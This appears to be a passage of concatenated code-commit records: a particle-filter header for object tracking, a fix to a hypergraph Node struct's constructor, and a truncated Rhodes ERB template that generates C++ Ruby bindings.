0; j < sampling_blocks_[i].size(); j++)\n dimension++;\n\n if(dimension != process_model_->NoiseDimension())\n {\n std::cout << \"the dimension of the sampling blocks is \" << dimension\n << \" while the dimension of the noise is \"\n << process_model_->NoiseDimension() << std::endl;\n exit(-1);\n }\n }\n\n \/\/ get\n const std::vector<State>& Samples() const\n {\n return samples_;\n }\n\n StateDistributionType& StateDistribution()\n {\n return state_distribution_;\n }\n\nprivate:\n \/\/ internal state TODO: THIS COULD BE MADE MORE COMPACT!!\n StateDistributionType state_distribution_;\n\n std::vector<State > samples_;\n std::vector<size_t> indices_;\n std::vector<Scalar> log_weights_;\n std::vector<Noise> noises_;\n std::vector<State> next_samples_;\n std::vector<Scalar> loglikes_;\n\n \/\/ observation model\n boost::shared_ptr<ObservationModel> observation_model_;\n\n \/\/ process model\n boost::shared_ptr<ProcessModel> process_model_;\n\n \/\/ parameters\n std::vector<std::vector<size_t>> sampling_blocks_;\n Scalar max_kl_divergence_;\n\n \/\/ distribution for sampling\n Gaussian<Eigen::Matrix<Scalar,1,1>> unit_gaussian_;\n};\n\n}\n\n#endif\n<commit_msg>Filter function fixed<commit_after>\/*************************************************************************\nThis software allows for filtering in high-dimensional observation and\nstate spaces, as described in\n\nM. Wuthrich, P. Pastor, M. Kalakrishnan, J. Bohg, and S. Schaal.\nProbabilistic Object Tracking using a Range Camera\nIEEE\/RSJ Intl Conf on Intelligent Robots and Systems, 2013\n\nIn a publication based on this software pleace cite the above reference.\n\n\nCopyright (C) 2014 Manuel Wuthrich\n\nThis program is free software: you can redistribute it and\/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*************************************************************************\/\n\n#ifndef FAST_FILTERING_FILTERS_STOCHASTIC_RAO_BLACKWELL_COORDINATE_PARTICLE_FILTER_HPP\n#define FAST_FILTERING_FILTERS_STOCHASTIC_RAO_BLACKWELL_COORDINATE_PARTICLE_FILTER_HPP\n\n#include <vector>\n#include <limits>\n#include <string>\n\n#include <boost\/shared_ptr.hpp>\n\n#include <Eigen\/Core>\n\n#include <fl\/util\/assertions.hpp>\n#include <fl\/util\/profiling.hpp>\n#include <fl\/util\/traits.hpp>\n#include <ff\/utils\/helper_functions.hpp>\n#include <fl\/distribution\/gaussian.hpp>\n#include <ff\/distributions\/sum_of_deltas.hpp>\n#include <fl\/distribution\/interface\/gaussian_map.hpp>\n#include <ff\/models\/observation_models\/interfaces\/rao_blackwell_observation_model.hpp>\n#include <ff\/models\/process_models\/interfaces\/stationary_process_model.hpp>\n\nnamespace fl\n{\n\ntemplate<typename ProcessModel, typename ObservationModel>\nclass RaoBlackwellCoordinateParticleFilter\n{\npublic:\n typedef typename Traits<ProcessModel>::Scalar Scalar;\n typedef typename Traits<ProcessModel>::State State;\n typedef typename Traits<ProcessModel>::Input Input;\n typedef typename Traits<ProcessModel>::Noise Noise;\n\n typedef typename ObservationModel::Observation Observation;\n\n \/\/ state distribution\n typedef SumOfDeltas<State> StateDistributionType;\n\npublic:\n RaoBlackwellCoordinateParticleFilter(\n const boost::shared_ptr<ProcessModel> process_model,\n const boost::shared_ptr<ObservationModel> observation_model,\n const std::vector<std::vector<size_t>>& sampling_blocks,\n const Scalar& max_kl_divergence = 0):\n observation_model_(observation_model),\n process_model_(process_model),\n max_kl_divergence_(max_kl_divergence)\n {\n static_assert_base(\n ProcessModel,\n StationaryProcessModel<State, Input>);\n\n static_assert_base(\n ProcessModel,\n GaussianMap<State, Noise>);\n\n static_assert_base(\n ObservationModel,\n RaoBlackwellObservationModel<State, Observation>);\n\n SamplingBlocks(sampling_blocks);\n }\n\n virtual ~RaoBlackwellCoordinateParticleFilter() { }\n\npublic:\n void Filter(const Observation& observation,\n const Scalar& delta_time,\n const Input& input)\n {\n observation_model_->SetObservation(observation, delta_time);\n\n loglikes_ = std::vector<Scalar>(samples_.size(), 0);\n noises_ = std::vector<Noise>(samples_.size(), Noise::Zero(process_model_->NoiseDimension()));\n next_samples_ = samples_;\n\n for(size_t block_index = 0; block_index < sampling_blocks_.size(); block_index++)\n {\n INIT_PROFILING;\n for(size_t particle_index = 0; particle_index < samples_.size(); particle_index++)\n {\n for(size_t i = 0; i < sampling_blocks_[block_index].size(); i++)\n noises_[particle_index](sampling_blocks_[block_index][i]) = unit_gaussian_.Sample()(0);\n }\n MEASURE(\"sampling\");\n for(size_t particle_index = 0; particle_index < samples_.size(); particle_index++)\n {\n process_model_->Condition(delta_time,\n samples_[particle_index],\n input);\n\n next_samples_[particle_index] = process_model_->MapStandardGaussian(noises_[particle_index]);\n }\n MEASURE(\"propagation\");\n\n bool update_occlusions = (block_index == sampling_blocks_.size()-1);\n std::vector<Scalar> new_loglikes = observation_model_->Loglikes(next_samples_,\n indices_,\n update_occlusions);\n MEASURE(\"evaluation\");\n std::vector<Scalar> delta_loglikes(new_loglikes.size());\n for(size_t i = 0; i < delta_loglikes.size(); i++)\n delta_loglikes[i] = new_loglikes[i] - loglikes_[i];\n loglikes_ = new_loglikes;\n UpdateWeights(delta_loglikes);\n MEASURE(\"updating weights\");\n\n }\n\n samples_ = next_samples_;\n state_distribution_.SetDeltas(samples_); \/\/ not sure whether this is the right place\n\n }\n\n void Resample(const size_t& sample_count)\n {\n std::vector<State> samples(sample_count);\n std::vector<size_t> indices(sample_count);\n std::vector<Noise> noises(sample_count);\n std::vector<State> next_samples(sample_count);\n std::vector<Scalar> loglikes(sample_count);\n\n fl::hf::DiscreteSampler sampler(log_weights_);\n\n for(size_t i = 0; i < sample_count; i++)\n {\n size_t index = sampler.Sample();\n\n samples[i] = samples_[index];\n indices[i] = indices_[index];\n noises[i] = noises_[index];\n next_samples[i] = next_samples_[index];\n loglikes[i] = loglikes_[index];\n }\n samples_ = samples;\n indices_ = indices;\n noises_ = noises;\n next_samples_ = next_samples;\n loglikes_ = loglikes;\n\n log_weights_ = std::vector<Scalar>(samples_.size(), 0.);\n\n state_distribution_.SetDeltas(samples_); \/\/ not sure whether this is the right place\n }\n\nprivate:\n void UpdateWeights(std::vector<Scalar> log_weight_diffs)\n {\n for(size_t i = 0; i < log_weight_diffs.size(); i++)\n log_weights_[i] += log_weight_diffs[i];\n\n std::vector<Scalar> weights = log_weights_;\n fl::hf::Sort(weights, 1);\n\n for(int i = weights.size() - 1; i >= 0; i--)\n weights[i] -= weights[0];\n\n weights = fl::hf::Apply<Scalar, Scalar>(weights, std::exp);\n weights = fl::hf::SetSum(weights, Scalar(1));\n\n \/\/ compute KL divergence to uniform distribution KL(p|u)\n Scalar kl_divergence = std::log(Scalar(weights.size()));\n for(size_t i = 0; i < weights.size(); i++)\n {\n Scalar information = - std::log(weights[i]) * weights[i];\n if(!std::isfinite(information))\n information = 0; \/\/ the limit for weight -> 0 is equal to 0\n kl_divergence -= information;\n }\n\n if(kl_divergence > max_kl_divergence_)\n Resample(samples_.size());\n }\n\npublic:\n \/\/ set\n void Samples(const std::vector<State >& samples)\n {\n samples_ = samples;\n indices_ = std::vector<size_t>(samples_.size(), 0); observation_model_->Reset();\n log_weights_ = std::vector<Scalar>(samples_.size(), 0);\n }\n void SamplingBlocks(const std::vector<std::vector<size_t>>& sampling_blocks)\n {\n sampling_blocks_ = sampling_blocks;\n\n \/\/ make sure sizes are consistent\n size_t dimension = 0;\n for(size_t i = 0; i < sampling_blocks_.size(); i++)\n for(size_t j = 0; j < sampling_blocks_[i].size(); j++)\n dimension++;\n\n if(dimension != process_model_->NoiseDimension())\n {\n std::cout << \"the dimension of the sampling blocks is \" << dimension\n << \" while the dimension of the noise is \"\n << process_model_->NoiseDimension() << std::endl;\n exit(-1);\n }\n }\n\n \/\/ get\n const std::vector<State>& Samples() const\n {\n return samples_;\n }\n\n StateDistributionType& StateDistribution()\n {\n return state_distribution_;\n }\n\nprivate:\n \/\/ internal state TODO: THIS COULD BE MADE MORE COMPACT!!\n StateDistributionType state_distribution_;\n\n std::vector<State > samples_;\n std::vector<size_t> indices_;\n std::vector<Scalar> log_weights_;\n std::vector<Noise> noises_;\n std::vector<State> next_samples_;\n std::vector<Scalar> loglikes_;\n\n \/\/ observation model\n boost::shared_ptr<ObservationModel> observation_model_;\n\n \/\/ process model\n boost::shared_ptr<ProcessModel> process_model_;\n\n \/\/ parameters\n std::vector<std::vector<size_t>> sampling_blocks_;\n Scalar max_kl_divergence_;\n\n \/\/ distribution for sampling\n Gaussian<Eigen::Matrix<Scalar,1,1>> unit_gaussian_;\n};\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2015 Nicolas Pope\n *\/\n\n#ifndef DHARC_NODE_HPP_\n#define DHARC_NODE_HPP_\n\n#include <ostream>\n#include <istream>\n#include <string>\n#include <cstdint>\n\n#include \"dharc\/rpc_packer.hpp\"\n\nnamespace dharc {\n\nstatic_assert(sizeof(double) <= 64, \"Double is too big\");\n\n\/* Constants for special node types *\/\nenum {\n\tkNullNode = 0,\n\tkTrueNode = 1,\n\tkFalseNode = 2\n};\n\n\/**\n * Node Identifier, Plain Old Data type.\n * Represents a concept and point in the dharc hypergraph. Two Nodes\n * together identify an arc in the hypergraph. Any raw data type can\n * be represented by a corresponding Node and Nodes can be compared with\n * each other.\n *\/\nstruct Node {\n\tenum struct Type : uint8_t {\n\t\tspecial,\n\t\tinteger,\n\t\treal,\n\t\tcharacter,\n\t\tconstant,\n\t\tallocated,\n\t};\n\n\tType t;\n\tunion {\n\tuint64_t ui;\n\tint64_t i;\n\tdouble d;\n\tchar c;\n\t};\n\n\t\/* Type casting to a Node *\/\n\tNode() = default;\n\tconstexpr Node(Type type, int64_t value) : t(type), i(value) {}\n\texplicit constexpr Node(int value) : t(Type::integer), i(value) {}\n\texplicit constexpr Node(float value) : t(Type::real), d(value) {}\n\texplicit constexpr Node(double value) : t(Type::real), d(value) {}\n\texplicit constexpr Node(char value) : t(Type::character), c(value) {}\n\texplicit constexpr Node(bool value)\n\t\t: t(Type::special), i((value) ? kTrueNode : kFalseNode) {}\n\n\t\/**\n\t * Generate a Node from a string.\n\t * The string must be a valid format or the null Node is returned.\n\t * Integers (Base 10), floating point numbers, characters expressed as\n\t * 'a', the keywords \"true\", \"false and \"null\" are all valid. Raw Node\n\t * strings of the form \"[<type>:<number>]\" are also accepted.\n\t *\n\t * @param str Valid node string.\n\t * @return null Node or Node form the string.\n\t *\/\n\texplicit Node(const std::string &str);\n\n\t\/** Same as for Node(const std::string &str); *\/\n\texplicit Node(const char *str);\n\n\t\/* Type casting from a Node *\/\n\texplicit operator int() const;\n\texplicit operator float() const;\n\texplicit operator double() const;\n\texplicit operator char() const;\n\texplicit operator bool() const;\n\n\t\/**\n\t * Convert the Node to a string object.\n\t * Special types are converted to corresponding words and numeric types\n\t * are converted to standard base 10 string form. Other kinds of Node\n\t * are shown as <type>:<number>. Calling fromString on the returned\n\t * string is guaranteed to reproduce the same Node.\n\t *\n\t * @return String representation of the node.\n\t *\/\n\texplicit operator std::string() const;\n};\n\n\/**\n * Integer NID literals.\n * e.g. Nid x = 1234_n;\n *\/\nconstexpr Node operator\"\" _n(unsigned long long value) {\n\treturn Node(static_cast<int>(value));\n}\n\n\/**\n * Real NID literals.\n * e.g. Nid x = 12.34_n;\n *\/\nconstexpr Node operator\"\" _n(long double value) {\n\treturn Node(static_cast<double>(value));\n}\n\n\/**\n * Character NID literals.\n * e.g. Nid x = 'a'_n;\n *\/\nconstexpr Node operator\"\" _n(char value) {\n\treturn Node(Node::Type::character, value);\n}\n\n\/* Special node constants *\/\nconstexpr Node null_n = Node(Node::Type::special, kNullNode);\nconstexpr Node true_n = Node(Node::Type::special, kTrueNode);\nconstexpr Node false_n = Node(Node::Type::special, kFalseNode);\n\n\/* Relational operators *\/\nconstexpr bool operator==(const Node &a, const Node &b) {\n\treturn a.t == b.t && a.i == b.i;\n}\n\nconstexpr bool operator!=(const Node &a, const Node &b) {\n\treturn a.t != b.t || a.i != b.i;\n}\n\nconstexpr bool operator<(const Node &a, const Node &b) {\n\treturn a.t < b.t || (a.t == b.t && a.i < b.i);\n}\n\nconstexpr bool operator>(const Node &a, const Node &b) {\n\treturn a.t > b.t || (a.t == b.t && a.i > b.i);\n}\n\nconstexpr bool operator<=(const Node &a, const Node &b) {\n\treturn a.t <= b.t || (a.t == b.t && a.i <= b.i);\n}\n\nconstexpr bool operator>=(const Node &a, const Node &b) {\n\treturn a.t >= b.t || (a.t == b.t && a.i >= b.i);\n}\n\n\/* Stream Operators *\/\nstd::ostream &operator<<(std::ostream &os, const Node &n);\nstd::istream &operator>>(std::istream &is, Node &n);\n\n\/* Pack and unpack for remote procedure call *\/\nnamespace rpc {\ntemplate <>\nstruct Packer<Node> {\n\tstatic void pack(std::ostream &os, const Node &n);\n\tstatic Node unpack(std::istream &is);\n};\n}; \/\/ namespace rpc\n}; \/\/ namespace dharc\n\n#endif \/\/ DHARC_NODE_HPP_\n<commit_msg>Fixed uninitialized node components bug<commit_after>\/*\n * Copyright 2015 Nicolas Pope\n *\/\n\n#ifndef DHARC_NODE_HPP_\n#define DHARC_NODE_HPP_\n\n#include <ostream>\n#include <istream>\n#include <string>\n#include <cstdint>\n\n#include \"dharc\/rpc_packer.hpp\"\n\nnamespace dharc {\n\nstatic_assert(sizeof(double) <= 64, \"Double is too big\");\n\n\/* Constants for special node types *\/\nenum {\n\tkNullNode = 0,\n\tkTrueNode = 1,\n\tkFalseNode = 2\n};\n\n\/**\n * Node Identifier, Plain Old Data type.\n * Represents a concept and point in the dharc hypergraph. Two Nodes\n * together identify an arc in the hypergraph. Any raw data type can\n * be represented by a corresponding Node and Nodes can be compared with\n * each other.\n *\/\nstruct Node {\n\tenum struct Type : uint8_t {\n\t\tspecial,\n\t\tinteger,\n\t\treal,\n\t\tcharacter,\n\t\tconstant,\n\t\tallocated,\n\t};\n\n\tType t;\n\tunion {\n\tuint64_t ui;\n\tint64_t i;\n\tdouble d;\n\tchar c;\n\t};\n\n\t\/* Type casting to a Node *\/\n\tNode() = default;\n\tconstexpr Node(Type type, int64_t value) : t(type), i(value) {}\n\texplicit constexpr Node(int value) : t(Type::integer), i(value) {}\n\texplicit constexpr Node(float value) : t(Type::real), d(value) {}\n\texplicit constexpr Node(double value) : t(Type::real), d(value) {}\n\texplicit constexpr Node(char value) : t(Type::character), i(value) {}\n\texplicit constexpr Node(bool value)\n\t\t: t(Type::special), i((value) ? kTrueNode : kFalseNode) {}\n\n\t\/**\n\t * Generate a Node from a string.\n\t * The string must be a valid format or the null Node is returned.\n\t * Integers (Base 10), floating point numbers, characters expressed as\n\t * 'a', the keywords \"true\", \"false and \"null\" are all valid. Raw Node\n\t * strings of the form \"[<type>:<number>]\" are also accepted.\n\t *\n\t * @param str Valid node string.\n\t * @return null Node or Node form the string.\n\t *\/\n\texplicit Node(const std::string &str);\n\n\t\/** Same as for Node(const std::string &str); *\/\n\texplicit Node(const char *str);\n\n\t\/* Type casting from a Node *\/\n\texplicit operator int() const;\n\texplicit operator float() const;\n\texplicit operator double() const;\n\texplicit operator char() const;\n\texplicit operator bool() const;\n\n\t\/**\n\t * Convert the Node to a string object.\n\t * Special types are converted to corresponding words and numeric types\n\t * are converted to standard base 10 string form. Other kinds of Node\n\t * are shown as <type>:<number>. Calling fromString on the returned\n\t * string is guaranteed to reproduce the same Node.\n\t *\n\t * @return String representation of the node.\n\t *\/\n\texplicit operator std::string() const;\n};\n\n\/**\n * Integer NID literals.\n * e.g. Nid x = 1234_n;\n *\/\nconstexpr Node operator\"\" _n(unsigned long long value) {\n\treturn Node(static_cast<int>(value));\n}\n\n\/**\n * Real NID literals.\n * e.g. Nid x = 12.34_n;\n *\/\nconstexpr Node operator\"\" _n(long double value) {\n\treturn Node(static_cast<double>(value));\n}\n\n\/**\n * Character NID literals.\n * e.g. Nid x = 'a'_n;\n *\/\nconstexpr Node operator\"\" _n(char value) {\n\treturn Node(Node::Type::character, value);\n}\n\n\/* Special node constants *\/\nconstexpr Node null_n = Node(Node::Type::special, kNullNode);\nconstexpr Node true_n = Node(Node::Type::special, kTrueNode);\nconstexpr Node false_n = Node(Node::Type::special, kFalseNode);\n\n\/* Relational operators *\/\nconstexpr bool operator==(const Node &a, const Node &b) {\n\treturn a.t == b.t && a.i == b.i;\n}\n\nconstexpr bool operator!=(const Node &a, const Node &b) {\n\treturn a.t != b.t || a.i != b.i;\n}\n\nconstexpr bool operator<(const Node &a, const Node &b) {\n\treturn a.t < b.t || (a.t == b.t && a.i < b.i);\n}\n\nconstexpr bool operator>(const Node &a, const Node &b) {\n\treturn a.t > b.t || (a.t == b.t && a.i > b.i);\n}\n\nconstexpr bool operator<=(const Node &a, const Node &b) {\n\treturn a.t <= b.t || (a.t == b.t && a.i <= b.i);\n}\n\nconstexpr bool operator>=(const Node &a, const Node &b) {\n\treturn a.t >= b.t || (a.t == b.t && a.i >= b.i);\n}\n\n\/* Stream Operators *\/\nstd::ostream &operator<<(std::ostream &os, const Node &n);\nstd::istream &operator>>(std::istream &is, Node &n);\n\n\/* Pack and unpack for remote procedure call *\/\nnamespace rpc {\ntemplate <>\nstruct Packer<Node> {\n\tstatic void pack(std::ostream &os, const Node &n);\n\tstatic Node unpack(std::istream &is);\n};\n}; \/\/ namespace rpc\n}; \/\/ namespace dharc\n\n#endif \/\/ DHARC_NODE_HPP_\n<|endoftext|>"} {"text":"<commit_before>#include \"..\\I<%= $cur_module.name %>.h\"\n\n#include \"logging\/RhoLog.h\"\n#undef DEFAULT_LOGCATEGORY\n#define DEFAULT_LOGCATEGORY \"<%= $cur_module.name %>\"\n\n#include \"ruby\/ext\/rho\/rhoruby.h\"\n#include \"common\/StringConverter.h\"\n#include \"common\/AutoPointer.h\"\n\nusing namespace rho;\nusing namespace rho::common;\n\nextern \"C\"\n{\n\nvoid rho_wm_impl_performOnUiThread(rho::common::IRhoRunnable* pTask);\nVALUE getRuby_<%= $cur_module.name %>_Module();\n\n<% if $cur_module.is_template_default_instance %>\nVALUE rb_<%= $cur_module.name %>_s_default(VALUE klass)\n{\n rho::StringW strDefaultID = C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->getDefaultID();\n\n return rho_ruby_create_object_with_id( klass, convertToStringA(strDefaultID).c_str() );\n}\n\nVALUE rb_<%= $cur_module.name %>_s_set_default(VALUE klass, VALUE valObj)\n{\n const char* szID = rho_ruby_get_object_id( valObj );\n C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->setDefaultID(convertToStringW(szID));\n\n return rho_ruby_get_NIL();\n}\n<% end %>\n\nextern \"C\" static void\nstring_iter(const char* szVal, void* par)\n{\n rho::Vector<rho::StringW>& ar = *((rho::Vector<rho::StringW>*)(par));\n ar.addElement( convertToStringW(szVal) );\n}\n\nstatic void getStringArrayFromValue(VALUE val, rho::Vector<rho::StringW>& res)\n{\n rho_ruby_enum_strary(val, string_iter, &res);\n}\n\nextern \"C\" static void hash_eachstr(const char* szName, const char* szVal, void* par)\n{\n rho::Hashtable<rho::StringW, rho::StringW>& hash = *((rho::Hashtable<rho::StringW, rho::StringW>*)(par));\n hash.put( convertToStringW(szName), convertToStringW(szVal) );\n}\n\nstatic void getStringHashFromValue(VALUE val, rho::Hashtable<rho::StringW, rho::StringW>& res)\n{\n rho_ruby_enum_strhash(val, hash_eachstr, &res);\n}\n\n\/\/Module instance methods\n<% $cur_module.methods.each do |module_method| %>\n<% if module_method.access == ModuleMethod::ACCESS_STATIC %>\n<%= api_generator_MakeRubyMethodDecl($cur_module.name, module_method, true)%>\n<% else %>\nstatic VALUE _api_generator_<%= $cur_module.name %>_<%= module_method.name %>(int argc, VALUE *argv, I<%= $cur_module.name %>* pObj)\n<% end %>\n{\n CMethodResult oRes;\n\n<% if module_method.is_factory_method %>\n oRes.setRubyObjectClass(getRuby_<%= $cur_module.name %>_Module());\n<% end %>\n\n rho::common::IRhoRunnable* pFunctor = 0;\n bool bUseCallback = false;\n int nCallbackArg = 0;\n\n<% functor_params = \"\"; first_arg = 0; %>\n<% module_method.params.each do |param| %>\n\n nCallbackArg = <%= first_arg + 1 %>;\n\n <% if !param.can_be_nil %>\n if ( argc == <%= first_arg %> )\n {\n oRes.setArgError(L\"Wrong number of arguments: \" + convertToStringW(argc) + L\" instead of \" + convertToStringW(<%= module_method.params.size() %>) );\n return oRes.toRuby();\n }\n <% end %>\n\n<% if param.type == MethodParam::TYPE_STRING %>\n <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n if ( argc > <%= first_arg %> )\n {\n if ( rho_ruby_is_string(argv[<%= first_arg %>]) )\n {\n arg<%= first_arg %> = convertToStringW(getStringFromValue(argv[<%= first_arg %>]));\n<% if first_arg == 0 %>\n oRes.setStringParam(getStringFromValue(argv[<%= first_arg %>]));\n<% end %>\n }\n else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n {\n oRes.setArgError(L\"Type error: argument \" L<%= \"\\\"#{first_arg}\\\"\" %> L\" should be \" L<%= \"\\\"#{param.type.downcase}\\\"\" %> );\n return oRes.toRuby();\n }\n }\n<% end %>\n\n<% if param.type == MethodParam::TYPE_ARRAY %>\n <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n if ( argc > <%= first_arg %> )\n {\n if ( rho_ruby_is_array(argv[<%= first_arg %>]) )\n getStringArrayFromValue(argv[<%= first_arg %>], arg<%= first_arg %>);\n else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n {\n oRes.setArgError(L\"Type error: argument \" L<%= \"\\\"#{first_arg}\\\"\" %> L\" should be \" L<%= \"\\\"#{param.type.downcase}\\\"\" %> );\n return oRes.toRuby();\n }\n }\n<% end %>\n\n<% if param.type == MethodParam::TYPE_HASH %>\n <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n if ( argc > <%= first_arg %> )\n {\n if ( rho_ruby_is_hash(argv[<%= first_arg %>]) )\n getStringHashFromValue(argv[<%= first_arg %>], arg<%= first_arg %>);\n else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n {\n oRes.setArgError(L\"Type error: argument \" L<%= \"\\\"#{first_arg}\\\"\" %> L\" should be \" L<%= \"\\\"#{param.type.downcase}\\\"\" %> );\n return oRes.toRuby();\n }\n }\n<% end %>\n \n<% functor_params += \"arg#{first_arg}, \" %>\n<% first_arg = first_arg+1 %>\n<% end %>\n\n if ( argc > nCallbackArg )\n {\n<% if module_method.has_callback == ModuleMethod::CALLBACK_NONE %>\n oRes.setArgError(L\"Wrong number of arguments: \" + convertToStringW(argc) + L\" instead of \" + convertToStringW(<%= module_method.params.size() %>) );\n return oRes.toRuby();\n<% end %>\n \n if ( !rho_ruby_is_string(argv[nCallbackArg]) )\n {\n oRes.setArgError(L\"Type error: callback should be String\");\n return oRes.toRuby();\n }\n\n oRes.setCallInUIThread(<%= module_method.is_run_in_ui_thread ? \"true\" : \"false\" %>);\n oRes.setRubyCallback( getStringFromValue(argv[nCallbackArg]) );\n if ( argc > nCallbackArg + 1 )\n {\n if ( !rho_ruby_is_string(argv[nCallbackArg + 1]) )\n {\n oRes.setArgError(L\"Type error: callback parameter should be String\");\n return oRes.toRuby();\n }\n\n oRes.setCallbackParam( getStringFromValue(argv[nCallbackArg + 1]) );\n }\n \n }\n\n<% if module_method.access != ModuleMethod::ACCESS_STATIC %>\n pFunctor = rho_makeInstanceClassFunctor<%= module_method.params.size()+1%>( pObj, &I<%= $cur_module.name %>::<%= module_method.name %>, <%= functor_params %> oRes );\n<% else %>\n pFunctor = rho_makeInstanceClassFunctor<%= module_method.params.size()+1%>( C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS(), &I<%= $cur_module.name %>Singleton::<%= module_method.name %>, <%= functor_params %> oRes );\n<% end %>\n\n<% if module_method.is_run_in_ui_thread %>\n rho_wm_impl_performOnUiThread( pFunctor );\n<% elsif module_method.is_run_in_thread %>\n C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->addCommandToQueue( pFunctor );\n<% else %>\n\n if ( bUseCallback )\n C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->addCommandToQueue( pFunctor );\n else\n {\n delete pFunctor;\n\n<% if module_method.access != ModuleMethod::ACCESS_STATIC %>\n pObj-><%= module_method.name %>( <%= functor_params %> oRes );\n<% else %>\n C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()-><%= module_method.name %>( <%= functor_params %> oRes );\n<% end %>\n\n }\n<% end %>\n\n return oRes.toRuby();\n}\n\n<% if module_method.access != ModuleMethod::ACCESS_STATIC %>\n<%= api_generator_MakeRubyMethodDecl($cur_module.name, module_method, module_method.access == ModuleMethod::ACCESS_STATIC)%>\n{\n const char* szID = rho_ruby_get_object_id( obj );\n I<%= $cur_module.name %>* pObj = C<%= $cur_module.name %>FactoryBase::getInstance()->getModuleByID(convertToStringW(szID));\n\n return _api_generator_<%= $cur_module.name %>_<%= module_method.name %>(argc, argv, pObj);\n}\n<% end %>\n\n<% if $cur_module.is_template_default_instance && module_method.access == ModuleMethod::ACCESS_INSTANCE%>\n<%= api_generator_MakeRubyMethodDecl($cur_module.name + \"_def\", module_method, true)%>\n{\n rho::StringW strDefaultID = C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->getDefaultID();\n I<%= $cur_module.name %>* pObj = C<%= $cur_module.name %>FactoryBase::getInstance()->getModuleByID(strDefaultID);\n\n return _api_generator_<%= $cur_module.name %>_<%= module_method.name %>(argc, argv, pObj);\n}\n<% end %>\n<% end %>\n\n}<commit_msg>api_generator:cpp: fix ruby wrap<commit_after>#include \"..\\I<%= $cur_module.name %>.h\"\n\n#include \"logging\/RhoLog.h\"\n#undef DEFAULT_LOGCATEGORY\n#define DEFAULT_LOGCATEGORY \"<%= $cur_module.name %>\"\n\n#include \"ruby\/ext\/rho\/rhoruby.h\"\n#include \"common\/StringConverter.h\"\n#include \"common\/AutoPointer.h\"\n\nusing namespace rho;\nusing namespace rho::common;\n\nextern \"C\"\n{\n\nvoid rho_wm_impl_performOnUiThread(rho::common::IRhoRunnable* pTask);\nVALUE getRuby_<%= $cur_module.name %>_Module();\n\n<% if $cur_module.is_template_default_instance %>\nVALUE rb_<%= $cur_module.name %>_s_default(VALUE klass)\n{\n rho::StringW strDefaultID = C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->getDefaultID();\n\n return rho_ruby_create_object_with_id( klass, convertToStringA(strDefaultID).c_str() );\n}\n\nVALUE rb_<%= $cur_module.name %>_s_setDefault(VALUE klass, VALUE valObj)\n{\n const char* szID = rho_ruby_get_object_id( valObj );\n C<%= $cur_module.name %>FactoryBase::get<%= $cur_module.name %>SingletonS()->setDefaultID(convertToStringW(szID));\n\n return rho_ruby_get_NIL();\n}\n<% end %>\n\nextern \"C\" static void\nstring_iter(const char* szVal, void* par)\n{\n rho::Vector<rho::StringW>& ar = *((rho::Vector<rho::StringW>*)(par));\n ar.addElement( convertToStringW(szVal) );\n}\n\nstatic void getStringArrayFromValue(VALUE val, rho::Vector<rho::StringW>& res)\n{\n rho_ruby_enum_strary(val, string_iter, &res);\n}\n\nextern \"C\" static void hash_eachstr(const char* szName, const char* szVal, void* par)\n{\n rho::Hashtable<rho::StringW, rho::StringW>& hash = *((rho::Hashtable<rho::StringW, rho::StringW>*)(par));\n hash.put( convertToStringW(szName), convertToStringW(szVal) );\n}\n\nstatic void getStringHashFromValue(VALUE val, rho::Hashtable<rho::StringW, rho::StringW>& res)\n{\n rho_ruby_enum_strhash(val, hash_eachstr, &res);\n}\n\n\/\/Module instance methods\n<% $cur_module.methods.each do |module_method| %>\n<% if module_method.access == ModuleMethod::ACCESS_STATIC %>\n<%= api_generator_MakeRubyMethodDecl($cur_module.name, module_method, true)%>\n<% else %>\nstatic VALUE _api_generator_<%= $cur_module.name %>_<%= module_method.name %>(int argc, VALUE *argv, I<%= $cur_module.name %>* pObj)\n<% end %>\n{\n CMethodResult oRes;\n\n<% if module_method.is_factory_method %>\n oRes.setRubyObjectClass(getRuby_<%= $cur_module.name %>_Module());\n<% end %>\n\n rho::common::IRhoRunnable* pFunctor = 0;\n bool bUseCallback = false;\n int nCallbackArg = 0;\n\n<% functor_params = \"\"; first_arg = 0; %>\n<% module_method.params.each do |param| %>\n\n nCallbackArg = <%= first_arg + 1 %>;\n\n <% if !param.can_be_nil %>\n if ( argc == <%= first_arg %> )\n {\n oRes.setArgError(L\"Wrong number of arguments: \" + convertToStringW(argc) + L\" instead of \" + convertToStringW(<%= module_method.params.size() %>) );\n return oRes.toRuby();\n }\n <% end %>\n\n<% if param.type == MethodParam::TYPE_STRING %>\n <%= api_generator_cpp_makeNativeType(param.type) %> arg<%= first_arg %>;\n if ( argc > <%= first_arg %> )\n {\n if ( rho_ruby_is_string(argv[<%= first_arg %>]) )\n {\n arg<%= first_arg %> = convertToStringW(getStringFromValue(argv[<%= first_arg %>]));\n<% if first_arg == 0 %>\n oRes.setStringParam(getStringFromValue(argv[<%= first_arg %>]));\n<% end %>\n }\n else if (!rho_ruby_is_NIL(argv[<%= first_arg %>]))\n {\n oRes.setArgError(L\"Type error: argument \" L<%= \"\\\"#{first_arg}\\\"\" %> L\" should be \" L<%= \"\\\"#{param.type.downcase}\\\"\" %> );\n return oRes.toRuby();\n }\n }\n<% end %>\n\n<% if param.type == 